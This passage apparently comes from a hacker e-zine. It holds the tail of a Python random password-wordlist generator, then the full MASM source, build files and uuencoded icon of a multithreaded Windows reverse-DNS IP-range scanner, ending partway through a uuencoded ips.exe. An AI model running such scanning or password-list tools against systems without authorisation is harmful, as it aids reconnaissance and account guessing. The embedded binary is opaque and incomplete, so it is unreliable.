                 "abcdefghijklmnopqrstuvwxyz", \
                 "ABCDEFGHIJKLMNOPQRSTUVWXYZ", \
              "~!@#$%^&*()_+`-=':;/.,?><\"\\", \
                                 "0123456789"
            ]
    num00 = whrandom.randrange(0, 4, 1)

    if   (num00 == 0):
  sym00 = set00[0][whrandom.randrange(0, 26, 1)]
    elif (num00 == 1):
  sym00 = set00[1][whrandom.randrange(0, 26, 1)]
    elif (num00 == 2):
  sym00 = set00[2][whrandom.randrange(0, 27, 1)]
    elif (num00 == 3):
  sym00 = set00[3][whrandom.randrange(0, 10, 1)]

    return sym00

def gen(len, qnt, file = "wordlist.lst"):

    try:
  res = open(file, "w")
    except IOError:
  print os.strerror(errno.EIO)+"!"
  sys.exit(-1)

    def wrs(seq):
        for loop in range(seq):
      res.write(base())
        res.write("\n")

    for loop in range(0, qnt):
  wrs(len)

    res.close()

    print ""
    print " ~*~ *- Gottaz Leetz Wordlistazz -* ~*~\n"
    print "      Word length -> " + str(len)
    print " Passwd. quantity -> " + str(qnt)
    print "            Check -> wordlist.lst\n"
    print " ~*~ *----------------------------* ~*~"

    sys.exit(0)

def main():
    try:
        _len = ""
        _qnt = ""

        (optlist, args) = getopt.getopt(sys.argv[1:], "vhl:q:",\
                                       ["version",    "help",  "lenght=",\
                                        "quantity="])
        for option, argument in optlist:
            if ((option) in ("-v", "--version")):
                print >> sys.stderr, "%s version %s" % (__program__, __version__)
                print >> sys.stderr, "%s" % (__copyright__)
                return
            elif ((option) in ("-h", "--help")):
                usage()
                return
            elif ((option) in ("-l", "--lenght")):
                _len = argument
            elif ((option) in ("-q", "--quantity")):
                _qnt = argument
        if ((len(sys.argv)) == 1):
          usage()
        if ((int(_len) > 0) and (int(_qnt) > 0)):
      gen(int(_len), int(_qnt))
        sys.exit(0)
    except getopt.GetoptError:
        print "Invalid argument!"
        sys.exit(-1)
    except ValueError:
        print "Value error!"
        sys.exit(-1)

if (__name__=="__main__"): main()
 ---< cut here >---

    V. ips.asm by shmel

    V.I ips.asm

 ---< cut here >---
;
;  Ip Scaner
;  Copyright (c) 2004 Shmel
;
;  This program is free software; you can redistribute it and/or modify
;  it under the terms of the GNU General Public License as published by
;  the Free Software Foundation; either version 2 of the License, or
;  (at your option) any later version.
;
;  This program is distributed in the hope that it will be useful,
;  but WITHOUT ANY WARRANTY; without even the implied warranty of
;  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
;  GNU General Public License for more details.
;
;  You should have received a copy of the GNU General Public License
;  along with this program; if not, write to the Free Software
;  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
;

.386
.model flat,stdcall
option casemap:none

WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
ThreadProc PROTO :DWORD
WorkThreadProc PROTO :DWORD
IPtoString PROTO :DWORD,:DWORD

include windows.inc
include masm32.inc
include user32.inc
include kernel32.inc
include gdi32.inc
include comctl32.inc
include ws2_32.inc
include comdlg32.inc

includelib masm32.lib
includelib gdi32.lib
includelib user32.lib
includelib kernel32.lib
includelib comctl32.lib
includelib ws2_32.lib
includelib comdlg32.lib

makeIP MACRO arg1, arg2 
  push eax

  mov eax , arg1
  mov arg2, eax

  mov al, BYTE PTR arg2[0]
  mov ah, BYTE PTR arg2[3]
  mov BYTE PTR arg2[3], al
  mov BYTE PTR arg2[0], ah
  mov al, BYTE PTR arg2[1]
  mov ah, BYTE PTR arg2[2]
  mov BYTE PTR arg2[2], al
  mov BYTE PTR arg2[1], ah

  pop eax
ENDM
  
IPstrlen MACRO arg1, arg2

  mov arg2, 4
  mov al, BYTE PTR arg1[0]
  .if al <= 9
    inc arg2
  .elseif al <=99
    add arg2, 2
  .else
    add arg2, 3
  .endif

  mov al,BYTE PTR arg1[1]
  .if al <= 9
    inc arg2
  .elseif al <=99
    add arg2, 2
  .else
    add arg2, 3
  .endif

  mov al,BYTE PTR arg1[2]
  .if al <= 9
    inc arg2
  .elseif al <=99
    add arg2, 2
  .else
    add arg2, 3
  .endif

  mov al,BYTE PTR arg1[3]
  .if al <= 9
    inc arg2
  .elseif al <=99
    add arg2, 2
  .else
    add arg2, 3
  .endif
ENDM

AddNewLine MACRO MemPtr
  LOCAL nozero, loop1, nl

  mov edi, MemPtr
  dec edi
  mov dl, 20h
  mov ecx, 62
loop1:
  mov al, [edi]
  test al, al
  jnz nozero
  mov [edi], dl
nozero:
  inc edi
  loop loop1
nl:
  inc edi
  mov dx, 0a0dh
  mov [edi], dx
ENDM

.data
   ThreadCounter dd 0
   ThreadID dd 0
   IP1 dd 0h
   IP2 dd 0h
   ClassName db "DLGCLASS",0
   DlgName db "IPS",0
   AppName db "IPS",0
   IPAdressClass db "SysIPAddress32", 0
   ProgressClass  db "msctls_progress32", 0       
   Err db "Error", 0
   error_incorrectIP db "Incorrect Start/End IP", 0
   error_socknotopen db "Can't open socket", 0
   error_wsanotinit db "WSA not initialized", 0
   error_cantallocatemem db "Can't allocate memory", 0
   error_notsaved db "File not saved", 0 
   not_found db ">>>>>>>>>not found<<<<<<<<<", 0
   mes1 db "Scan completed", 0
   TimeBuff db 5 dup(0)
   TimeMes1 db "Time: ", 0
   TimeMes2 db " sec", 0
   FilterString db "Text Files", 0, "*.txt", 0
                        db "All Files", 0, "*.*", 0, 0

.data?
    buff db 32 dup(?)
    IPRange dd ?
    HwndIP2 dd ?
    Time dd ?
    hMemory HANDLE ?                           
    pMemory DWORD ?                     
    HwndIP1 dd ?
    wsadata WSADATA <>
    TimerID dd ?
    icce INITCOMMONCONTROLSEX <>
    ofn   OPENFILENAME <>
    hFile HANDLE ?
    SizeReadWrite dd ?
    MaxThreads dd ?
    hInstance HINSTANCE ?
    CommandLine LPSTR ?
    MainHWND HWND ?
    hwndProgress HANDLE ?
    IsScan dd ?
    MemSize dd ?

.const
    IDD_DIALOGBAR equ     103
    IDC_RESULTEDIT  equ     1000
    IDC_IPADDRESS1  equ     1003
    IDC_IPADDRESS2  equ     1005
    IDC_SCAN    equ     1006
    IDC_EXIT    equ     1007
    IDC_CLEAR   equ 1001
    IDC_SAVE    equ 1002
    IDC_MAXTHREDIT  equ 1008 
    IDC_PROGRESS  equ 1010
    ICON_1    equ 500
    WM_NOTIFYFROMTHREAD equ WM_USER + 100h
    CRLF db 0dh, 0ah, 0

.code
WinMain proc hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD
  LOCAL wc:WNDCLASSEX
  LOCAL msg:MSG
  LOCAL hDlg:HWND

  mov   wc.cbSize,SIZEOF WNDCLASSEX
  mov   wc.style, CS_HREDRAW or CS_VREDRAW
  mov   wc.lpfnWndProc, OFFSET WndProc
  mov   wc.cbClsExtra, NULL
  mov   wc.cbWndExtra, DLGWINDOWEXTRA
  push  hInst
  pop   wc.hInstance
  mov   wc.hbrBackground, COLOR_BTNFACE+1
  mov   wc.lpszMenuName, NULL
  mov   wc.lpszClassName, OFFSET ClassName
  invoke LoadIcon, hInst, ICON_1
  mov   wc.hIcon, eax
  mov   wc.hIconSm, eax
  invoke LoadCursor,NULL, IDC_ARROW
  mov   wc.hCursor, eax
  invoke RegisterClassEx, addr wc
  invoke CreateDialogParam,hInst, ADDR DlgName, NULL, NULL, NULL
  mov   hDlg, eax
  mov MainHWND, eax
  invoke ShowWindow, hDlg, SW_SHOWNORMAL
  invoke UpdateWindow, hDlg

  .WHILE TRUE
    invoke GetMessage, ADDR msg,NULL,0,0
    .BREAK .IF (!eax)
    invoke IsDialogMessage, hDlg, ADDR msg
    .IF eax ==FALSE
      invoke TranslateMessage, ADDR msg
      invoke DispatchMessage, ADDR msg
    .ENDIF
  .ENDW

  mov     eax, msg.wParam
  ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
  .if uMsg == WM_DESTROY
    call WSACleanup
    invoke PostQuitMessage, 0
    xor eax, eax
    ret
  .elseif uMsg == WM_CLOSE
    call  WSACleanup
    invoke DefWindowProc, hWnd, uMsg, wParam, lParam
    xor eax, eax
    ret
  .elseif uMsg == WM_NOTIFYFROMTHREAD
    invoke SendMessage, hwndProgress, PBM_STEPIT, 0, 0 
    inc ThreadCounter
    mov eax, ThreadCounter
    .if eax == IPRange
      invoke KillTimer, hWnd, TimerID
      invoke SendMessage, hwndProgress, PBM_SETPOS, 0, 0

      mov edi, pMemory
      add edi, MemSize
      xor eax, eax
      mov [edi], al

      invoke SetDlgItemText, hWnd, IDC_RESULTEDIT, pMemory
      invoke GlobalUnlock, pMemory
      invoke GlobalFree, hMemory
      invoke lstrcpy, offset buff, offset mes1 
      invoke lstrcat, offset buff, offset CRLF 
      invoke lstrcat, offset buff, offset TimeMes1
      invoke dwtoa, Time, offset TimeBuff
      invoke lstrcat, offset buff, offset TimeBuff
      invoke lstrcat, offset buff, offset TimeMes2
      invoke MessageBox, NULL, ADDR buff, OFFSET AppName, MB_OK
      invoke SetFocus, HwndIP1
      xor eax, eax
      mov IsScan, eax
      mov IPRange, eax
      mov pMemory, eax
      mov TimerID, eax
      mov SizeReadWrite, 0
      mov MaxThreads, 0

      mov ThreadCounter, eax
      mov ThreadID, eax
      mov IP1, eax
      mov IP2, eax
    .endif
    xor eax, eax
    ret
  .elseif uMsg == WM_CTLCOLOREDIT
    invoke SetTextColor, wParam, Green
    invoke SetBkColor, wParam, Black
    invoke GetStockObject, BLACK_BRUSH
    ret
  .elseif uMsg == WM_TIMER
    mov eax, ThreadCounter
    .if eax < IPRange
      inc Time
    .endif    
  .elseif uMsg == WM_CREATE
    mov icce.dwSize, SIZEOF INITCOMMONCONTROLSEX
    mov icce.dwICC, ICC_INTERNET_CLASSES
    invoke InitCommonControlsEx, offset icce
    invoke CreateWindowEx, NULL, ADDR  IPAdressClass, NULL, WS_VISIBLE or WS_CHILD or WS_TABSTOP,\
        343, 27, 125, 20, hWnd, IDC_IPADDRESS1, hInstance, NULL
    mov HwndIP1, eax
    invoke SetFocus, eax
    invoke CreateWindowEx, NULL, ADDR  IPAdressClass, NULL, WS_VISIBLE or WS_CHILD or WS_TABSTOP,\
        343, 70, 125, 20, hWnd, IDC_IPADDRESS2, hInstance,NULL
    mov HwndIP2, eax

     invoke WSAStartup,  101h, offset wsadata
    .if eax != 0
      invoke MessageBox, NULL, ADDR error_wsanotinit, OFFSET Err, MB_OK or MB_ICONERROR
      invoke SendMessage, hWnd, WM_DESTROY, NULL, NULL
    .endif
      
    invoke socket, AF_INET, SOCK_STREAM, 0
    .if eax == -1
      invoke MessageBox, NULL, ADDR error_socknotopen, OFFSET Err, MB_OK or MB_ICONERROR
      invoke SendMessage, hWnd, WM_DESTROY, NULL, NULL
    .endif
    mov ofn.lStructSize,SIZEOF ofn
    push hWnd
    pop  ofn.hWndOwner
    push hInstance
    pop  ofn.hInstance

    mov  ofn.lpstrFilter, OFFSET FilterString
    mov  ofn.lpstrFile, OFFSET buff
    mov  ofn.nMaxFile, 260

    invoke CreateWindowEx, NULL, ADDR ProgressClass, NULL,\
      WS_CHILD+WS_VISIBLE+PBS_SMOOTH, 8,\
      243, 460, 15, hWnd, IDC_PROGRESS,\
      hInstance, NULL
    mov hwndProgress,eax

    xor eax, eax
    ret
  .elseif uMsg == WM_COMMAND
    mov eax, wParam
    .if ax == IDC_SCAN
      invoke  SendDlgItemMessage, hWnd, IDC_IPADDRESS1, IPM_ISBLANK, 1, offset IP1
      mov ebx, eax
      invoke  SendDlgItemMessage, hWnd, IDC_IPADDRESS2, IPM_ISBLANK, 1, offset IP2
      .if (eax || ebx ) 
        invoke MessageBox, NULL, ADDR error_incorrectIP, OFFSET Err, MB_OK or MB_ICONERROR
        invoke SetFocus, HwndIP1
        xor eax, eax
        ret
      .endif

      xor eax, eax
      .if IsScan == 0
        inc eax
        mov IsScan, eax
      .elseif
        ret 
      .endif

      invoke GetDlgItemText, hWnd,  IDC_MAXTHREDIT, offset buff, 32
      .if eax == 0
        mov MaxThreads, 50  ; default value
      .elseif
        invoke atodw, offset buff
        mov MaxThreads, eax
      .endif
      invoke SetDlgItemText, hWnd, IDC_RESULTEDIT, NULL
      invoke  SendDlgItemMessage, hWnd, IDC_IPADDRESS1, IPM_GETADDRESS, 1, offset IP1
      invoke  SendDlgItemMessage, hWnd, IDC_IPADDRESS2, IPM_GETADDRESS, 1, offset IP2
      mov eax, IP1
      .if (eax > IP2) 
        invoke MessageBox, NULL, ADDR error_incorrectIP, OFFSET Err, MB_OK or MB_ICONERROR
        invoke SetFocus, HwndIP1
        xor eax, eax
        ret
      .endif
      and Time, 0
      invoke SetTimer, hWnd,  1, 1000, NULL
      mov TimerID, eax
      inc IP2
      and ThreadCounter, 0
      mov eax, IP2
      sub eax, IP1
      mov IPRange, eax
      shl eax, 6
      inc eax
      mov MemSize, eax

      invoke GlobalAlloc, GMEM_MOVEABLE, MemSize
      .if eax == NULL
        invoke MessageBox, NULL, offset error_cantallocatemem, offset Err, MB_OK or MB_ICONERROR
        xor eax, eax
        ret
      .endif
      mov  hMemory, eax
      invoke GlobalLock, hMemory
      mov  pMemory, eax

      mov ecx, MemSize
      dec ecx
      mov dx, 2020h
            loop1:
      mov [ecx + eax], dx
      loop loop1

      push IP1
      pop IP2

      mov edx, offset WorkThreadProc
      invoke CreateThread, NULL, NULL, edx, NULL, 0, ADDR ThreadID
      inc ThreadID
    
      mov eax, IPRange
      shl eax, 16
      invoke SendMessage, hwndProgress, PBM_SETRANGE, 0, eax
      invoke SendMessage, hwndProgress, PBM_SETSTEP, 1, 0

      xor eax, eax
      ret
    .elseif ax == IDC_CLEAR

      invoke SendDlgItemMessage, hWnd, IDC_IPADDRESS1, IPM_CLEARADDRESS, 0, 0
      invoke SendDlgItemMessage, hWnd, IDC_IPADDRESS2, IPM_CLEARADDRESS, 0, 0
      invoke SetDlgItemText, hWnd, IDC_RESULTEDIT, NULL
      invoke SetFocus, HwndIP1
      xor eax, eax
      ret
    .elseif ax == IDC_SAVE
      .if IsScan != 0
        xor eax, eax
        ret 
      .endif

      invoke RtlZeroMemory,offset buff, 32
      mov ofn.Flags,OFN_LONGNAMES or\
        OFN_EXPLORER or OFN_HIDEREADONLY
      invoke GetSaveFileName, ADDR ofn

      .if eax == TRUE
        invoke CreateFile,ADDR buff,\
          GENERIC_READ or GENERIC_WRITE ,\
          FILE_SHARE_READ or FILE_SHARE_WRITE,\
          NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_ARCHIVE, NULL
        mov hFile,eax

        invoke GlobalAlloc, GMEM_MOVEABLE or GMEM_ZEROINIT, MemSize
        mov  hMemory, eax
        invoke GlobalLock, hMemory
        mov  pMemory, eax

        invoke GetDlgItemText, hWnd, IDC_RESULTEDIT, pMemory, MemSize
        invoke WriteFile, hFile, pMemory, eax, ADDR SizeReadWrite, NULL

        invoke CloseHandle, hFile
        invoke GlobalUnlock, pMemory
        invoke GlobalFree, hMemory
      .elseif 
        invoke MessageBox, NULL, offset error_notsaved, offset Err, MB_OK or MB_ICONERROR
      .endif
      invoke SetFocus, HwndIP1
      xor eax, eax
      ret
    .elseif ax == IDC_EXIT

      invoke SendMessage,hWnd, WM_DESTROY, NULL, NULL
      xor eax, eax
      ret
    .endif
    .if lParam == 0
      invoke DestroyWindow, hWnd
    .endif
  .else
    invoke DefWindowProc, hWnd, uMsg, wParam, lParam
    ret
  .endif

  xor eax, eax
  ret
WndProc endp

IPtoString proc IP:DWORD,lpBuffer:DWORD
  LOCAL dot [4]:BYTE
  LOCAL val1[4]:BYTE
  LOCAL val2[4]:BYTE
  LOCAL val3[4]:BYTE
  LOCAL val4[4]:BYTE
  LOCAL spc[2]:BYTE

  push esi
  push edi

  mov WORD PTR spc, 20h
  mov DWORD PTR dot, 2Eh  

  movzx esi, BYTE PTR IP[3]
  invoke dwtoa,esi,ADDR val1
  movzx esi, BYTE PTR IP[2]
  invoke dwtoa,esi,ADDR val2
  movzx esi, BYTE PTR IP[1]
  invoke dwtoa,esi,ADDR val3
  movzx esi, BYTE PTR IP[0]
  invoke dwtoa,esi,ADDR val4

  mov edi, lpBuffer
  mov BYTE PTR [edi], 0

  invoke szMultiCat,8,lpBuffer,ADDR val1,ADDR dot,ADDR val2,ADDR dot,
                                 ADDR val3,ADDR dot,ADDR val4, ADDR spc

  pop edi
  pop esi

  ret
IPtoString endp

WorkThreadProc PROC Param:DWORD
  LOCAL tmpIP:DWORD 

  xor ebx, ebx
  mov ecx, IPRange
w_loop1:
  push ecx
  push ebx
  invoke IPtoString, IP1, offset buff
  mov eax, IP1
  sub eax, IP2
  shl eax, 6
  add eax, pMemory
  invoke lstrcpy, eax, offset buff
  makeIP IP1, tmpIP
  mov edx, offset  ThreadProc
  invoke CreateThread, NULL, NULL, edx, tmpIP, 0, ADDR ThreadID
  inc ThreadID
  inc IP1
  pop ebx
  inc ebx
  .if ebx >= MaxThreads
    mov eax, IP1
    sub eax, IP2
    .if MaxThreads > 10
      sub eax, 10
    .endif
    .while ThreadCounter < eax
      push eax
      invoke Sleep, 100
      pop eax
    .endw
    xor ebx, ebx
  .endif
  pop ecx
  dec ecx
  jnz w_loop1

  ret
WorkThreadProc endp

ThreadProc PROC Param:DWORD
  LOCAL curIP:DWORD
  LOCAL tmpIP:DWORD
  LOCAL MemOffset:DWORD
  LOCAL IPlen:DWORD

  mov eax, Param  
  mov curIP, eax  
  makeIP curIP, tmpIP 
  mov eax, tmpIP
  sub eax, IP2
  shl eax, 6
  add eax, pMemory
  mov MemOffset, eax
  IPstrlen tmpIP, IPlen
  invoke gethostbyaddr, ADDR curIP, 4, AF_INET
  test eax, eax
  jz host_not_found
  mov ecx, MemOffset
  add ecx, IPlen
  invoke lstrcpy, ecx , [eax]
  jmp short thread_return

host_not_found:
  mov eax, MemOffset
  add eax, IPlen
  invoke lstrcpy, eax , offset not_found

thread_return:
  AddNewLine MemOffset
  invoke SendMessage, MainHWND, WM_NOTIFYFROMTHREAD, NULL, NULL
  ret
ThreadProc endp

main:
  invoke GetModuleHandle, NULL
  mov    hInstance, eax
  invoke GetCommandLine
  mov CommandLine, eax
  invoke WinMain, hInstance, NULL, CommandLine, SW_SHOWDEFAULT
  invoke ExitProcess, eax
end main
 ---< cut here >---

    V.II  make.bat

 ---< cut here >---
@echo off 
ml /c /Cp /coff /nologo ips.asm
rc.exe ips.rc
link /subsystem:windows /RELEASE /ignore:4078 /nologo /merge:.text=.data ips.obj ips.res kernel32.lib user32.lib gdi32.lib masm32.lib ws2_32.lib comctl32.lib comdlg32.lib
@echo on
 ---< cut here >---

    V.III IPS.RC

 ---< cut here >---
#include "resource.h"

#define IDC_RESULTEDIT  1000
#define IDC_MAXTHREDIT  1008
#define IDC_SAVE  1002
#define IDC_SCAN        1006
#define IDC_EXIT        1007
#define IDC_CLEAR 1001
#define IDC_STATIC      -1


IPS DIALOG 65, 81, 316, 161
STYLE 0x804L | WS_OVERLAPPED | WS_VISIBLE | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX
CLASS "DLGCLASS"
CAPTION "IP Scaner by Shmel"
FONT 8, "MS Sans Serif"
{
 LTEXT "Start IP", IDC_STATIC, 230, 7, 28, 9, NOT WS_GROUP
 LTEXT "End IP", IDC_STATIC, 230, 32, 24, 9, NOT WS_GROUP
 EDITTEXT IDC_MAXTHREDIT, 272, 62, 24, 11
 DEFPUSHBUTTON "S&can", IDC_SCAN, 239, 80, 56, 14
 PUSHBUTTON "&Save as...", IDC_SAVE, 239, 97, 56, 14
 PUSHBUTTON "Cl&ear", IDC_CLEAR, 239, 114, 56, 14
 PUSHBUTTON "E&xit", IDC_EXIT, 239, 131, 56, 14, WS_TABSTOP
 EDITTEXT IDC_RESULTEDIT, 6, 7, 211, 139, ES_MULTILINE | ES_AUTOVSCROLL | ES_AUTOHSCROLL | ES_WANTRETURN | NOT WS_TABSTOP | WS_BORDER | WS_VSCROLL
 LTEXT "Max Threads", -1, 225, 63, 44, 12
}

500 ICON "shmel.ico"
 ---< cut here >---

    V.IV  uue encoded shmel.ico

 ---< cut here >---
begin 644 Shmel.ico
M```!``$`("`0``````#H`@``%@```"@````@````0`````$`!```````@`(`
M``````````````````````````````"```"`````@(``@````(``@`"`@```
M@("``,#`P````/\``/\```#__P#_````_P#_`/__``#___\`````````````
M````````````````````````````````````````````````````````````
M``````````````JJJJJJJJJJJ@`````````*JJJJJJJJJJJJ`````````*JJ
MJJJJJJJJJJ`````````*JJJJJJJJJJJJ`````````*JJJJJJJJJJJJ``````
M```*JJJJ````"JJJ`````````*JJH`````"JJJ`````````*J@`````*JJJJ
M`````````*``````JJJJJ@``````````````"JJJJJH`````````````"JJJ
MJJJJ````````````"JJJJJJJJ@```````````*JJJJJJJJH```````````JJ
MJJJJJJJ@``````````"JJJJJJJJJ```````````*JJJJJJJJ````````````
MJJJJJJJJ`````````````*JJJJJJH``````````````*JJJJJ@```*H`````
M`````*JJJJ````JJH``````````*JJH```"JJJH``````````*JJH``*JJJJ
MH``````````*JJJJJJJJJJH``````````*JJJJJJJJJJ```````````*JJJJ
MJJJJH````````````*JJJJJJJJ`````````````*JJJJJJH`````````````
M``````````#_______________\``!__```/_P``!_^```/_P``!_^```/_P
M``!_^`_@/_P?P!_^/X`?_WX`'__X`!__\``?_^``'__``#__@`!__P``__X`
M`__^``\__P`>'_^`/`__P'@'_^```__P``'_^``!__P``__^``/__P`'__^`
!#P``
`
end
sum -r/size 25106/766
 ---< cut here >---

    V.V  uue encoded ips.exe

 ---< cut here >---
begin 644 ips.exe
M35J0``,````$````__\``+@`````````0```````````````````````````
M````````````````````P`````X?N@X`M`G-(;@!3,TA5&AI<R!P<F]G<F%M
M(&-A;FYO="!B92!R=6X@:6X@1$]3(&UO9&4N#0T*)``````````CXA`Z9X-^
M:6>#?FEG@WYIZ9QM:5N#?FF;HVQI8X-^::"%>&EF@WYI4FEC:&>#?FD`````
M````````````````4$4``$P!`P`1N%)"``````````#@``\!"P$%#```````
M'````````'8K````$````!``````0```$`````(```0`````````!```````
M````0`````0``&>P```"```````0```0`````!```!`````````0````````
M``````#4$```C``````P``"X!0``````````````````````````````````
M````````````````````````````````````````````````````````````
M`````!```-`````````````````````````````````````N<F1A=&$``%(%
M````$`````8````$``````````````````!```!`+F1A=&$```#"#P```"``
M```.````"@``````````````````0```P"YR<W)C````N`4````P````!@``
M`!@``````````````````$```$``````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````````````````````````````````H5````````,!4`
M``````"N%```H!0``(X4````````K!(``+H2``#*$@``GA(``.(2``#N$@``
M^A(``)`2``!\$@``:A(``%P2``!,$@``/A(``-H2```P$@```````)(3``"F
M$P``A!,``,`3``#,$P``VA,``.P3````%```%A0``"84```X%```1!0``%`4
M``!>%```<A0``'(3``!>$P``3A,``#P3```4$P``*A,``+(3````````Y!0`
M`-84``#(%```]!0````````-"@``@!$`````````````!A,``"`0``#`$0``
M``````````""%```8!```'`1`````````````+X4```0$```'!(`````````
M````_A0``+P0``!@$0`````````````B%0```!```&@1`````````````$05
M```($``````````````````````````````*%0```````#`5````````KA0`
M`*`4``".%````````*P2``"Z$@``RA(``)X2``#B$@``[A(``/H2``"0$@``
M?!(``&H2``!<$@``3!(``#X2``#:$@``,!(```````"2$P``IA,``(03``#`
M$P``S!,``-H3``#L$P```!0``!84```F%```.!0``$04``!0%```7A0``'(4
M``!R$P``7A,``$X3```\$P``%!,``"H3``"R$P```````.04``#6%```R!0`
M`/04````````&@!#;&]S94AA;F1L90`P`$-R96%T949I;&5!`$8`0W)E871E
M5&AR96%D``"``$5X:710<F]C97-S`,@`1V5T0V]M;6%N9$QI;F5!``D!1V5T
M36]D=6QE2&%N9&QE00``9P%';&]B86Q!;&QO8P!N`4=L;V)A;$9R964``'(!
M1VQO8F%L3&]C:P``>0%';&]B86Q5;FQO8VL```L"4G1L6F5R;TUE;6]R>0!@
M`E-L965P`)X"5W)I=&5&:6QE`+4";'-T<F-A=$$``+L";'-T<F-P>4$``&ME
M<FYE;#,R+F1L;```2@!#<F5A=&5$:6%L;V=087)A;4$``%0`0W)E871E5VEN
M9&]W17A!`'X`1&5F5VEN9&]W4')O8T$``(<`1&5S=')O>5=I;F1O=P",`$1I
M<W!A=&-H365S<V%G94$``/0`1V5T1&QG271E;51E>'1!`!D!1V5T365S<V%G
M94$`<`%)<T1I86QO9TUE<W-A9V5!``![`4MI;&Q4:6UE<@"``4QO861#=7)S
M;W)!`(0!3&]A9$EC;VY!`)T!365S<V%G94)O>$$`OP%0;W-T475I=$UE<W-A
M9V4`R`%296=I<W1E<D-L87-S17A!``#=`5-E;F1$;&=)=&5M365S<V%G94$`
MX@%396YD365S<V%G94$``/@!4V5T1&QG271E;51E>'1!`/L!4V5T1F]C=7,`
M`!<"4V5T5&EM97(``"T"4VAO=U=I;F1O=P``0@)4<F%N<VQA=&5-97-S86=E
M``!.`E5P9&%T95=I;F1O=P``=7-E<C,R+F1L;```W0!'9713=&]C:T]B:F5C
M=```-`%3971":T-O;&]R``!9`5-E=%1E>'1#;VQO<@``9V1I,S(N9&QL``X`
M5U-!0VQE86YU<```/P!74T%3=&%R='5P``!2`&=E=&AO<W1B>6%D9'(`:P!S
M;V-K970``'=S,E\S,BYD;&P``#\`26YI=$-O;6UO;D-O;G1R;VQS17@``&-O
M;6-T;#,R+F1L;```#`!'9713879E1FEL94YA;65!``!C;VUD;&<S,BYD;&P`
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````!$3$=#3$%34P!)4%,`25!3`%-Y<TE0061D<F5S<S,R`&US
M8W1L<U]P<F]G<F5S<S,R`$5R<F]R`$EN8V]R<F5C="!3=&%R="]%;F0@25``
M0V%N)W0@;W!E;B!S;V-K970`5U-!(&YO="!I;FET:6%L:7IE9`!#86XG="!A
M;&QO8V%T92!M96UO<GD`1FEL92!N;W0@<V%V960`/CX^/CX^/CX^;F]T(&9O
M=6YD/#P\/#P\/#P\`%-C86X@8V]M<&QE=&5D````````5&EM93H@`"!S96,`
M5&5X="!&:6QE<P`J+G1X=`!!;&P@1FEL97,`*BXJ`````%6+[(/$L,=%T#``
M``#'1=0#````QT78XB%``,=%W`````#'1>`>````_W4(CT7DQT7P$````,=%
M]`````#'1?@0($``:/0!``#_=0CHY0H``(E%Z(E%_&@`?P``:@#HS0H``(E%
M[(U%T%#HV0H``&H`:@!J`&@9($``_W4(Z'@*``")1;"CLB]``&H!_W6PZ-@*
M``#_=;#HW`H``&H`:@!J`(U%M%#H<PH```O`="2-1;10_W6PZ&D*```+P'42
MC46T4.BJ"@``C46T4.A!"@``Z\F+1;S)PA``58OL@WT,`G47Z&H+``!J`.A3
M"@``,\#)PA``Z0@'``"#?0P0=2'H30L``/]U%/]U$/]U#/]U".CP"0``,\#)
MPA``Z>$&``"!?0P`!0``#X5(`0``:@!J`&@%!```_S6V+T``Z!(*``#_!0`@
M0`"A`"!``#L%H"U```^%$@$``/\U1B]``/]U".C#"0``:@!J`&@"!```_S6V
M+T``Z-D)``"+/;`M0``#/;XO0``SP(@'_S6P+4``:.@#``#_=0CHO`D``/\U
ML"U``.@M"0``_S6L+4``Z!8)``!HQB!``&B`+4``Z#$)``!HT!!``&B`+4``
MZ!P)``!HVB!``&B`+4``Z`T)``!HU2!``/\UJ"U``.C7"0``:-4@0`!H@"U`
M`.CN"```:.$@0`!H@"U``.C?"```:@!H'2!``&B`+4``:@#H&@D``/\UM"U`
M`.@S"0``,\"CNB]``*.@+4``H[`M0`"C1B]``,<%HB]```````#'!:8O0```
M````HP`@0`"C!"!``*,(($``HPP@0``SP,G"$`#IC`4``(%]##,!``!U)V@`
M_P``_W40Z/X(``!J`/]U$.CN"```:@3HX0@``,G"$`#I7`4``(%]#!,!``!U
M'*$`($``.P6@+4``#X-"!0``_P6H+4``Z3<%``"#?0P!#X5M`0``QP5*+T``
M"````,<%3B]````(``!H2B]``.AW"0``:@#_-:HO0`!HZP,``/]U"&H4:GUJ
M&VA7`0``:````5!J`&@A($``:@#HWP<``*.T+4``4.@T"```:@#_-:HO0`!H
M[0,``/]U"&H4:GUJ1FA7`0``:````5!J`&@A($``:@#HI@<``*.D+4``:+@M
M0`!H`0$``.CJ"```"\!T(6H0:$(@0`!H<2!``&H`Z+<'``!J`&H`:@+_=0CH
MP0<``&H`:@%J`NC&"```@_C_=2%J$&A"($``:%\@0`!J`.B&!P``:@!J`&H"
M_W4(Z)`'``#'!5(O0`!,````_W4(CP56+T``_S6J+T``CP5:+T``QP5>+T``
MYB!``,<%;B]``(`M0`#'!7(O0``$`0``:@#_-:HO0`!H\@,``/]U"&H/:,P!
M``!H\P```&H(:`$``%!J`&@P($``:@#HS@8``*.V+T``,\#)PA``Z<`#``"!
M?0P1`0``#X6>`P``BT409CWN`P^%$P(``&@(($``:@%H:00``&CK`P``_W4(
MZ-D&``"+V&@,($``:@%H:00``&CM`P``_W4(Z+X&```+P'4$"]MT)&H0:$(@
M0`!H2"!``&H`Z)$&``#_-;0M0`#HJ@8``#/`R<(0`#/`@SVZ+T```'4(0*.Z
M+T``ZP3)PA``:B!H@"U``&CP`P``_W4(Z#$&```+P'4,QP6F+T``,@```.L/
M:(`M0`#HCP8``*.F+T``:@!HZ`,``/]U".A%!@``:`@@0`!J`6AF!```:.L#
M``#_=0CH(`8``&@,($``:@%H9@0``&CM`P``_W4(Z`<&``"A""!``#L%#"!`
